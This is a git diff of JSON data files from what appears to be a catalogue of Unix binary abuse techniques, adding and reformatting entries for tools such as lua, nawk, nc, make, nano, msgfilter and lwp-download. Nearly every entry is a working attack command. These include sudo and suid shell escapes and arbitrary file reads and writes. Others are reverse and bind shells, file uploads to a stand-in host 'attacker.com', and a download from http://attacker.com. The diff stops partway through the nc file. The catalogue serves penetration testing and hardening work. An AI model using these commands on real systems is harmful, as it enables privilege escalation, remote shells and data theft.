"code": "ltrace -s 999 -o [file] ltrace -F [data]\n" + "description": "The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`.", + "code": "LFILE=file_to_write\nltrace -s 999 -o $LFILE ltrace -F DATA\n" } ], "shell": [ { - "code": "ltrace -b -L /bin/sh" + + "code": "ltrace -b -L /bin/sh\n" } ], "sudo": [ { - "code": "sudo ltrace -b -L /bin/sh" + + "code": "sudo ltrace -b -L /bin/sh\n" } ] } diff --git a/gtfo/data/lua.json b/gtfo/data/lua.json index ecf9025..1aae69b 100644 --- a/gtfo/data/lua.json +++ b/gtfo/data/lua.json @@ -2,56 +2,62 @@ "functions": { "shell": [ { - "code": "lua -e 'os.execute(\"/bin/sh\")'" + + "code": "lua -e 'os.execute(\"/bin/sh\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires 'lua-socket' installed.", - "code": "lua -e 'local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nlua -e 'local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires 'lua-socket' installed.", - "code": "lua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed.", + "code": "export LPORT=12345\nlua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires 'lua-socket' installed.", - "code": "lua -e '\n local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires `lua-socket` installed.", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nlua -e '\n local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires 'lua-socket' to be installed.", - "code": "lua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires `lua-socket` installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nlua -e 'local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "lua -e 'local f=io.open(\"[file]\", \"wb\"); f:write(\"DATA\"); io.close(f);'" + + "code": "lua -e 'local f=io.open(\"file_to_write\", \"wb\"); f:write(\"DATA\"); io.close(f);'\n" } ], "file-read": [ { - "code": "lua -e 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);'" + + "code": "lua -e 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);'\n" } ], - "suid": [ + "suid": [ { - "code": "lua -e 'local f=io.open(\"[file]\", \"rb\"); print(f:read(\"*a\")); io.close(f);'" + + "code": "lua -e 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);'\n" } ], "sudo": [ { - "code": "sudo lua -e 'os.execute(\"/bin/sh\")'" + + "code": "sudo lua -e 'os.execute(\"/bin/sh\")'\n" } ], "limited-suid": [ { - "code": "./lua -e 'os.execute(\"/bin/sh\")'" + + "code": "./lua -e 'os.execute(\"/bin/sh\")'\n" } ] } diff --git a/gtfo/data/lualatex.json b/gtfo/data/lualatex.json index 94f2d7b..48fde22 100644 --- a/gtfo/data/lualatex.json +++ b/gtfo/data/lualatex.json @@ -1,19 +1,21 @@ { - "description": "This allows to execute Lua code.", "functions": { "shell": [ { - "code": "lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'" + + "code": "lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n" } ], "sudo": [ { - "code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'" + + "code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n" } ], "limited-suid": [ { - "code": "./lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'" + + "code": "./lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'\n" } ] } diff --git a/gtfo/data/luatex.json b/gtfo/data/luatex.json index c9ad026..f204eb8 100644 --- a/gtfo/data/luatex.json +++ b/gtfo/data/luatex.json @@ -1,19 +1,21 @@ { - "description": "This allows to execute Lua code.", "functions": { "shell": [ { - "code": "luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'" + + "code": "luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n" } ], "sudo": [ { - "code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'" + + "code": "sudo luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n" } ], "limited-suid": [ { - "code": "./luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'" + + "code": "./luatex -shell-escape '\\directlua{os.execute(\"/bin/sh\")}\\end'\n" } ] } diff --git a/gtfo/data/lwp-download.json b/gtfo/data/lwp-download.json index f4e6149..9b1737d 100644 --- a/gtfo/data/lwp-download.json +++ b/gtfo/data/lwp-download.json @@ -1,25 +1,27 @@ { - "description": "Fetch a remote file via HTTP GET request.", "functions": { "file-download": [ { - "code": "lwp-download [url] [file]\n" + + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nlwp-download $URL $LFILE\n" } ], "sudo": [ { - "code": "sudo lwp-download [url] [file]\n" + + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo lwp-download $URL $LFILE\n" } ], "file-read": [ { "description": "The file path must be absolute.", - "code": "TF=$(mktemp)\nlwp-download \"file://[file]\" $TF\ncat $TF\n" + "code": "LFILE=file_to_read\nTF=$(mktemp)\nlwp-download \"file://$LFILE\" $TF\ncat $TF\n" } ], "file-write": [ { - "code": "TF=$(mktemp)\necho [data] >$TF\nlwp-download file://$TF [file]\n" + + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA >$TF\nlwp-download file://$TF $LFILE\n" } ] } diff --git a/gtfo/data/lwp-request.json b/gtfo/data/lwp-request.json index f524fc0..2e45726 100644 --- a/gtfo/data/lwp-request.json +++ b/gtfo/data/lwp-request.json @@ -2,12 +2,14 @@ "functions": { "file-read": [ { - "code": "lwp-request \"file://[file]\"\n" + + "code": "LFILE=file_to_read\nlwp-request \"file://$LFILE\"\n" } ], "sudo": [ { - "code": "sudo lwp-request \"file://[file]\"\n" + + "code": "LFILE=file_to_read\nsudo lwp-request \"file://$LFILE\"\n" } ] } diff --git a/gtfo/data/m4.json b/gtfo/data/m4.json new file mode 100644 index 0000000..717bf60 --- /dev/null +++ b/gtfo/data/m4.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + "description": "", + "code": "LFILE=file_to_read\nm4 \"$LFILE\"\n" + } + ], + "suid": [ + { + "description": "", + "code": "LFILE=file_to_read\n./m4 \"$LFILE\"\n" + } + ], + "sudo": [ + { + "description": "", + "code": "LFILE=file_to_read\nsudo m4 \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/mail.json b/gtfo/data/mail.json index 2f1856a..4ebfa7f 100644 --- a/gtfo/data/mail.json +++ b/gtfo/data/mail.json @@ -3,7 +3,7 @@ "shell": [ { "description": "GNU version only.", - "code": "mail --exec='!/bin/sh'" + "code": "mail --exec='!/bin/sh'\n" }, { "description": "This creates a valid Mbox file which may be required by the binary.", @@ -13,8 +13,8 @@ "sudo": [ { "description": "GNU version only.", - "code": "sudo mail --exec='!/bin/sh'" + "code": "sudo mail --exec='!/bin/sh'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/make.json b/gtfo/data/make.json index 1860ec8..55730ed 100644 --- a/gtfo/data/make.json +++ b/gtfo/data/make.json @@ -1,26 +1,34 @@ { - "description": "All these examples only work with GNU 'make' due to the lack of support of the '--eval' flag. The same can be achieved by using a proper 'Makefile' or by passing the content via stdin using '-f -'.", "functions": { "shell": [ { - "code": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n" + "description": "", + "code": "COMMAND='/bin/sh'\nmake -s --eval=$'x:\\n\\t-'\"$COMMAND\"\n" } ], "file-write": [ { - "description": "Requires a newer GNU 'make' version.", - "code": "make -s --eval=\"\\$(file >[file],DATA)\" .\n" + "description": "Requires a newer GNU `make` version.", + "code": "LFILE=file_to_write\nmake -s --eval=\"\\$(file >$LFILE,DATA)\" .\n" + } + ], + "file-read": [ + { + "description": "Requires a newer GNU `make` version.", + "code": "CMND='cat file_to_read'\nmake -s --eval=$'x:\\n\\t-'\"$CMND\"\n" } ], "suid": [ { - "code": "./make -s --eval=$'x:\\n\\t-'\"/bin/sh -p\"\n" + "description": "", + "code": "COMMAND='/bin/sh -p'\n./make -s --eval=$'x:\\n\\t-'\"$COMMAND\"\n" } ], "sudo": [ { - "code": "sudo make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n" + "description": "", + "code": "COMMAND='/bin/sh'\nsudo make -s --eval=$'x:\\n\\t-'\"$COMMAND\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/man.json b/gtfo/data/man.json index 15b69d3..bb9bf31 100644 --- a/gtfo/data/man.json +++ b/gtfo/data/man.json @@ -1,22 +1,24 @@ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", "functions": { "shell": [ { + "code": "man man\n!/bin/sh\n" }, { - "description": "This only works for GNU 'man' and requires GNU 'troff' to be installed.", + "description": "This only works for GNU `man` and requires GNU `troff` (`groff` to be installed).", "code": "man '-H/bin/sh #' man\n" } ], "file-read": [ { - "code": "man [file]" + + "code": "man file_to_read\n" } ], "sudo": [ { + "code": "sudo man man\n!/bin/sh\n" } ] diff --git a/gtfo/data/mawk.json b/gtfo/data/mawk.json index 04ad2db..3c814eb 100644 --- a/gtfo/data/mawk.json +++ b/gtfo/data/mawk.json @@ -2,32 +2,38 @@ "functions": { "shell": [ { - "code": "mawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "mawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "file-write": [ { - "code": "mawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n" + + "code": "LFILE=file_to_write\nmawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n" } ], "file-read": [ { - "code": "mawk '//' \"[file]\"\n" + + "code": "LFILE=file_to_read\nmawk '//' \"$LFILE\"\n" } ], "suid": [ { - "code": "./mawk '//' \"[file]\"" + + "code": "LFILE=file_to_read\n./mawk '//' \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo mawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "sudo mawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "limited-suid": [ { - "code": "./mawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "./mawk 'BEGIN {system(\"/bin/sh\")}'\n" } ] } diff --git a/gtfo/data/minicom.json b/gtfo/data/minicom.json new file mode 100644 index 0000000..38ab69b --- /dev/null +++ b/gtfo/data/minicom.json @@ -0,0 +1,26 @@ +{ + "functions": { + "shell": [ + { + "description": "Start the following command to open the TUI interface, then:\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\nAfter the shell, exit with `Ctrl-A x`.\n", + "code": "minicom -D /dev/null\n" + }, + { + "description": "After the shell, exit with `Ctrl-A x`.\n", + "code": "TF=$(mktemp)\necho \"! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)\" >$TF\nminicom -D /dev/null -S $TF\nreset^J\n" + } + ], + "sudo": [ + { + "description": "Start the following command to open the TUI interface, then:\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\nAfter the shell, exit with `Ctrl-A x`.\n", + "code": "sudo minicom -D /dev/null\n" + } + ], + "suid": [ + { + "description": "Start the following command to open the TUI interface, then:\n1. press `Ctrl-A o` and select `Filenames and paths`;\n2. press `e`, type `/bin/sh -p`, then `Enter`;\n3. Press `Esc` twice;\n4. Press `Ctrl-A k` to drop the shell.\nAfter the shell, exit with `Ctrl-A x`.\n", + "code": "./minicom -D /dev/null\n" + } + ] + } +} diff --git a/gtfo/data/more.json b/gtfo/data/more.json index 9e25734..8ed0a36 100644 --- a/gtfo/data/more.json +++ b/gtfo/data/more.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { + "code": "TERM= more /etc/profile\n!/bin/sh\n" } ], "file-read": [ { - "code": "more [file]" + + "code": "more file_to_read\n" } ], "suid": [ { - "code": "./more [file]" + + "code": "./more file_to_read\n" } ], "sudo": [ { + "code": "TERM= sudo more /etc/profile\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/mosh-server.json b/gtfo/data/mosh-server.json new file mode 100644 index 0000000..cee0767 --- /dev/null +++ b/gtfo/data/mosh-server.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "mosh --server=\"sudo /usr/bin/mosh-server\" localhost\n" + } + ] + } +} diff --git a/gtfo/data/mosquitto.json b/gtfo/data/mosquitto.json new file mode 100644 index 0000000..1776165 --- /dev/null +++ b/gtfo/data/mosquitto.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmosquitto -c \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./mosquitto -c \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo mosquitto -c \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/mount.json b/gtfo/data/mount.json index a3b0c37..1218bd2 100644 --- a/gtfo/data/mount.json +++ b/gtfo/data/mount.json @@ -2,9 +2,9 @@ "functions": { "sudo": [ { - "description": "Exploit the fact that 'mount' can be executed via 'sudo' to replace the 'mount' binary with a shell.", + "description": "Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.", "code": "sudo mount -o bind /bin/sh /bin/mount\nsudo mount\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/msfconsole.json b/gtfo/data/msfconsole.json new file mode 100644 index 0000000..83fff72 --- /dev/null +++ b/gtfo/data/msfconsole.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "sudo msfconsole\nmsf6 > irb\n>> system(\"/bin/sh\")\n" + } + ], + "sudo": [ + { + + "code": "sudo msfconsole\nmsf6 > irb\n>> system(\"/bin/sh\")\n" + } + ] + } +} diff --git a/gtfo/data/msgattrib.json b/gtfo/data/msgattrib.json new file mode 100644 index 0000000..bc892da --- /dev/null +++ b/gtfo/data/msgattrib.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmsgattrib -P $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo msgattrib -P $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./msgattrib -P $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/msgcat.json b/gtfo/data/msgcat.json new file mode 100644 index 0000000..c5af98b --- /dev/null +++ b/gtfo/data/msgcat.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmsgcat -P $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo msgcat -P $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./msgcat -P $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/msgconv.json b/gtfo/data/msgconv.json new file mode 100644 index 0000000..139e364 --- /dev/null +++ b/gtfo/data/msgconv.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmsgconv -P $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo msgconv -P $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./msgconv -P $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/msgfilter.json b/gtfo/data/msgfilter.json new file mode 100644 index 0000000..04e758d --- /dev/null +++ b/gtfo/data/msgfilter.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.", + "code": "echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'\n" + } + ], + "file-read": [ + { + "description": "The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.", + "code": "LFILE=file_to_read\nmsgfilter -P -i \"LFILE\" /bin/cat\n" + } + ], + "sudo": [ + { + "description": "Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.", + "code": "echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'\n" + } + ], + "suid": [ + { + "description": "Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.", + "code": "echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'\n" + } + ] + } +} diff --git a/gtfo/data/msgmerge.json b/gtfo/data/msgmerge.json new file mode 100644 index 0000000..c6f3316 --- /dev/null +++ b/gtfo/data/msgmerge.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmsgmerge -P $LFILE /dev/null\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo msgmerge -P $LFILE /dev/null\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./msgmerge -P $LFILE /dev/null\n" + } + ] + } +} diff --git a/gtfo/data/msguniq.json b/gtfo/data/msguniq.json new file mode 100644 index 0000000..e63fd9e --- /dev/null +++ b/gtfo/data/msguniq.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nmsguniq -P $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo msguniq -P $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./msguniq -P $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/mtr.json b/gtfo/data/mtr.json index f7fe865..acca5c2 100644 --- a/gtfo/data/mtr.json +++ b/gtfo/data/mtr.json @@ -1,15 +1,16 @@ { - "description": "The read file content is corrupted by error prints.", "functions": { "file-read": [ { - "code": "mtr --raw -F \"[file]\"\n" + + "code": "LFILE=file_to_read\nmtr --raw -F \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo mtr --raw -F \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo mtr --raw -F \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/multitime.json b/gtfo/data/multitime.json new file mode 100644 index 0000000..64676c8 --- /dev/null +++ b/gtfo/data/multitime.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "multitime /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./multitime /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo multitime /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/mutt.json b/gtfo/data/mutt.json new file mode 100644 index 0000000..3c8cbc6 --- /dev/null +++ b/gtfo/data/mutt.json @@ -0,0 +1,14 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "LFILE=file_to_read\nsudo mutt -F $LFILE\n" + }, + { + "description": "", + "code": "LFILE=file_to_read\nsudo mutt -i $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/mv.json b/gtfo/data/mv.json index c4425d3..e0d3050 100644 --- a/gtfo/data/mv.json +++ b/gtfo/data/mv.json @@ -1,15 +1,16 @@ { - "description": "This can be used to move and then read or write files from a restricted file systems or with elevated privileges.", "functions": { "suid": [ { - "code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./mv $TF [file]\n" + + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\n./mv $TF $LFILE\n" } ], "sudo": [ { - "code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF [file]\n" + + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/mysql.json b/gtfo/data/mysql.json index 76d8e63..d5c8f2c 100644 --- a/gtfo/data/mysql.json +++ b/gtfo/data/mysql.json @@ -1,26 +1,28 @@ { - "description": "A valid MySQL server must be available.", "functions": { "shell": [ { - "code": "mysql -e '\\! /bin/sh'" + + "code": "mysql -e '\\! /bin/sh'\n" } ], "sudo": [ { - "code": "sudo mysql -e '\\! /bin/sh'" + + "code": "sudo mysql -e '\\! /bin/sh'\n" } ], "limited-suid": [ { - "code": "./mysql -e '\\! /bin/sh'" + + "code": "./mysql -e '\\! /bin/sh'\n" } ], "library-load": [ { - "description": "A MySQL server must accept connections in order for this to work. The following loads the '/path/to/lib.so' shared object.", - "code": "mysql --default-auth ../../../../../path/to/lib" + "description": "A MySQL server must accept connections in order for this to work.\n\nThe following loads the `/path/to/lib.so` shared object.\n", + "code": "mysql --default-auth ../../../../../path/to/lib\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/nano.json b/gtfo/data/nano.json index 55dfb6a..defc1ba 100644 --- a/gtfo/data/nano.json +++ b/gtfo/data/nano.json @@ -2,31 +2,35 @@ "functions": { "shell": [ { + "description": "", "code": "nano\n^R^X\nreset; sh 1>&0 2>&0\n" }, { - "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", + "description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.", "code": "nano -s /bin/sh\n/bin/sh\n^T\n" } ], "file-write": [ { - "code": "nano [file]\n[data]\n^O\n" + "description": "", + "code": "nano file_to_write\nDATA\n^O\n" } ], "file-read": [ { - "code": "nano [file]" + "description": "", + "code": "nano file_to_read\n" } ], "limited-suid": [ { - "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", - "code": "./nano -s /bin/sh\n/bin/sh\n^T\n" + "description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.", + "code": "./nano -s \"/bin/sh -p\"\n/bin/sh -p\n^T\n" } ], "sudo": [ { + "description": "", "code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n" } ] diff --git a/gtfo/data/nasm.json b/gtfo/data/nasm.json new file mode 100644 index 0000000..5ee4f3b --- /dev/null +++ b/gtfo/data/nasm.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nnasm -@ $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./nasm -@ $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo nasm -@ $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/nawk.json b/gtfo/data/nawk.json index 4e40ab1..93b59e5 100644 --- a/gtfo/data/nawk.json +++ b/gtfo/data/nawk.json @@ -2,44 +2,50 @@ "functions": { "shell": [ { - "code": "nawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "nawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "nawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nnawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", - "code": "nawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "LPORT=12345\nnawk -v LPORT=$LPORT 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "file-write": [ { - "code": "nawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n" + + "code": "LFILE=file_to_write\nnawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n" } ], "file-read": [ { - "code": "nawk '//' \"[file]\"\n" + + "code": "LFILE=file_to_read\nnawk '//' \"$LFILE\"\n" } ], "suid": [ { - "code": "./nawk '//' \"[file]\"" + + "code": "LFILE=file_to_read\n./nawk '//' \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "limited-suid": [ { - "code": "./nawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "./nawk 'BEGIN {system(\"/bin/sh\")}'\n" } ] } diff --git a/gtfo/data/nc.json b/gtfo/data/nc.json index a2d84c7..98971f5 100644 --- a/gtfo/data/nc.json +++ b/gtfo/data/nc.json @@ -2,39 +2,39 @@ "functions": { "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", - "code": "nc -e /bin/sh [host] [port]\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "RHOST=attacker.com\nRPORT=12345\nnc -e /bin/sh $RHOST $RPORT\n" } ], "bind-shell": [ { - "description": "Run 'nc [host] [port]` on the attacker box to connect to the shell. This only works with netcat traditional.", - "code": "nc -l -p [port] -e /bin/sh\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional.", + "code": "LPORT=12345\nnc -l -p $LPORT -e /bin/sh\n" } ], "file-upload": [ { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", - "code": "nc [host] [port] < [file]\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nnc $RHOST $RPORT < \"$LFILE\"\n" } ], "file-download": [ { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [port]' on the attacker box to send the file.", - "code": "nc -l -p [port] > [file]\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file.", + "code": "LPORT=12345\nLFILE=file_to_save\nnc -l -p $LPORT > \"$LFILE\"\n" } ], "sudo": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This only works with netcat traditional.", - "code": "sudo nc -e /bin/sh [host] [port]\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.", + "code": "RHOST=attacker.com\nRPORT=12345\nsudo nc -e /bin/sh $RHOST $RPORT\n" } ], 